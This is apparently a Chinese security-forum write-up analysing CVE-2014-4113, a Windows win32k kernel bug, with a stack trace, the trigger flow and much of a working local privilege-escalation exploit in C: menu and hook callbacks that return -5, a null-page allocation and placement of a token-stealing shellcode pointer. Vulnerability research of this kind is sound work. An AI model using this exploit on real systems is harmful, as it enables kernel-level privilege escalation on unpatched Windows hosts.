-
-
[原创]Windows UAF 漏洞分析CVE-2014-4113
-
2022-12-23 17:31 14939
-
参考链接:
https://bbs.pediy.com/thread-271809.htm
https://www.freebuf.com/vuls/347427.html
https://www.anquanke.com/post/id/84477
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
Win32K!xxxMNFindWindowsFromPoint API函数的返回值是一个win32k!tagWND结构的指针。然而,在调用失败时,该函数会返回错误代码-1和-5。而调用程序在检查返回值的时候,只检查了-1,而没有检查-5,从而出现了执行出错。
同时由于系统本身也没有发现该错误,进而使得该函数将继续默认-5为正确值,同时继续提供一个有效的win32k!tagWND结构的指针;实际上,该函数一直使用的都是错误代码-5(0xfffffffb)。这个代码在执行时,会将-5作为参数传递给Win 32K!xxxSendMessage函数。
Win32K!xxxSendMessage函数。而该函数正好是Win32K!xxxSendMessageTimeout的一个轻量级封装函数。
该漏洞的利用方法:在用户模式地址为0xfffffffb的地方,用ZwAllocateVirtualMemoryAPI函数分配内存空间,并在这个地方存储一个win32k!tagWND结构指针。在内核中,以用户模式访问该结构时,便会引发该漏洞,之后便会执行win32k!tagWND结构里的函数。
运行poc看一下,触发异常转到windbg,
查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存
查看栈回溯,在ida中定位到漏洞触发地点,与上面所分析的一样
1 2 3 4 5 6 | 00 9b817a64 960395c5 fffffffb 000001ed 002bfc9c win32k!xxxSendMessageTimeout + 0xb3 01 9b817a8c 960b92fb fffffffb 000001ed 002bfc9c win32k!xxxSendMessage + 0x28 02 9b817aec 960b8c1f 9b817b0c 00000000 002bfc9c win32k!xxxHandleMenuMessages + 0x582 03 9b817b38 960bf8f1 fd6c41e8 9619f580 00000000 win32k!xxxMNLoop + 0x2c6 04 9b817ba0 960bf9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx + 0x5cd 05 9b817c14 83c851ea 000101b7 00000000 00000000 win32k!NtUserTrackPopupMenuEx + 0xc3 |
在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项
TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环xxxMNLoop,消息处理函数是xxxHandleMenuMessages
xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用
xxxMNFindWindowFromPoint函数里的逻辑是从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)(MN_FINDWINDOWFROMPOINT)消息
而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息
漏洞触发的函数调用流程
1 | TrackPopupMenu触发漏洞 - 》Menu的消息处理函数xxxHandleMenuMessages - 》xxxMNFindWindowFromPoint - 》xxxSendMessage - 》xxxSendMessageTimeout - 》xxxSendMessageToClient - 》SfnOUTDWORDINDWORD - 》 * * KeUserModeCallback - 》__fnOUTDWORDINDWORD |
内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallback、KiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用fn函数。
在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],即call [0x5B]。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B
该漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B,执行shellcode获得权限提升。
POC分析
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
先看main函数内
首先创建了一个主窗口,又新建了两个菜单一个主菜单一个子菜单,并插入了新菜单项,然后调用了SetWindowsHookExA来拦截 1EBh 的消息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | main(){ HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0 , 0 , 640 , 480 , NULL, NULL, wnd_class.hInstance, NULL); } / / Creates an empty popup menu HMENU MenuOne = CreatePopupMenu(); MENUITEMINFOA MenuOneInfo = { 0 }; / / Default size MenuOneInfo.cbSize = sizeof(MENUITEMINFOA); / / Selects what properties to retrieve or set when GetMenuItemInfo / SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item. MenuOneInfo.fMask = MIIM_STRING; BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0 , TRUE, &MenuOneInfo); HMENU MenuTwo = CreatePopupMenu(); MENUITEMINFOA MenuTwoInfo = { 0 }; MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA); / / On this window hSubMenu should be included in Get / SetMenuItemInfo MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU); / / The menu is a sub menu of the first menu MenuTwoInfo.hSubMenu = MenuOne; / / The contents of the menu item - in this case nothing MenuTwoInfo.dwTypeData = ""; / / The length of the menu item text - in the case 1 for just a single NULL byte MenuTwoInfo.cch = 1 ; insertMenuItem = InsertMenuItemA(MenuTwo, 0 , TRUE, &MenuTwoInfo); HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()); TrackPopupMenu( MenuTwo, / / Handle to the menu we want to display, for us its the submenu we just created. 0 , / / Options on how the menu is aligned, what clicks are allowed etc, we don't care. 0 , / / Horizontal position - left hand side 0 , / / Vertical position - Top edge 0 , / / Reserved field, has to be 0 main_wnd, / / Handle to the Window which owns the menu NULL / / This value is always ignored... ); / / tidy up the screen |
模拟事件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { / * Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug 手动触发按下事件 通过PostMessageA函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞 * / printf( "WindProc called with message=%d\n" , msg); if (msg = = WM_ENTERIDLE) { PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0 ); PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0 ); PostMessageA(hwnd, WM_LBUTTONDOWN, 0 , 0 ); } / / Just pass any other messages to the default window procedure return DefWindowProc(hwnd, msg, wParam, lParam); } |
SetWindowsHookExA拦截0x1EB消息,SetWindowLongA设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义,我们调用EndMenu函数销毁了这个菜单,此时的win32k!xxxSendMessage函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint就会返回 fffffffb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | / / Destroys the menu and then returns - 5 , this will be passed to xxxSendMessage which will then use it as a pointer. LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { printf( "Callback two called.\n" ); EndMenu(); return - 5 ; } LRESULT CALLBACK HookCallback( int code, WPARAM wParam, LPARAM lParam) { printf( "Callback one called.\n" ); / * lParam is a pointer to a CWPSTRUCT which is defined as: typedef struct tagCWPSTRUCT { LPARAM lParam; WPARAM wParam; UINT message; HWND hwnd; } CWPSTRUCT, * PCWPSTRUCT, * LPCWPSTRUCT; * / / / lparam + 8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called if ( * (DWORD * )(lParam + 8 ) = = 0x1EB ) { / / 解除Hook if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { / / lparam + 12 is a Window Handle pointing to the window - here we are setting its callback to be our second one SetWindowLongA( * (HWND * )(lParam + 12 ), GWLP_WNDPROC, ( LONG )HookCallbackTwo); } } return CallNextHookEx( 0 , code, wParam, lParam); } |
控制0x3,0x11,0x5B这几个地址的值,就能进行漏洞的利用
申请0页内存后写入,shellcode使用TokenSteal即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | typedef NTSTATUS(NTAPI * lNtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN PVOID * BaseAddress, IN PULONG ZeroBits, IN PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); / / Gets a pointer to the Win32ThreadInfo structure for the current thread by indexing into the Thread Execution Block for the current thread DWORD __stdcall GetPTI() { __asm { mov eax, fs: 18h / / eax pointer to TEB mov eax, [eax + 40h ] / / get pointer to Win32ThreadInfo } } / / Loads ntdll.dll into the processes memory space and returns a HANDLE to it HMODULE hNtdll = LoadLibraryA( "ntdll" ); lNtAllocateVirtualMemory pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory" ); DWORD base_address = 1 ; / / Aritary size which is probably big enough - it'll get rounded up to the next memory page boundary anyway SIZE_T region_size = 0x1000 ; NTSTATUS tmp = pNtAllocateVirtualMemory( GetCurrentProcess(), / / HANDLE ProcessHandle = > The process the mapping should be done for , we pass this process. (LPVOID * )(&base_address), / / PVOID * BaseAddress = > The base address we want our memory allocated at, this will be rounded down to the nearest page boundary and the new value will written to it 0 , / / ULONG_PTR ZeroBits = > The number of high - order address bits that must be zero in the base address, this is only used when the base address passed is NULL ®ion_size, / / RegionSize = > How much memory we want allocated, this will be rounded up to the nearest page boundary and the updated value will be written to the variable (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), / / ULONG AllocationType = > What type of allocation to be done - the chosen flags mean the memory will allocated at the highest valid address and will immediately be reserved and commited so we can use it. PAGE_EXECUTE_READWRITE / / ULONG Protect = > The page protection flags the memory should be created with, we want RWX ); void * pti_loc = (void * ) 0x3 ; void * check_loc = (void * ) 0x11 ; void * shellcode_loc = (void * ) 0x5b ; * (LPDWORD)pti_loc = pti; * (LPBYTE)check_loc = 0x4 ; * (LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7; |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法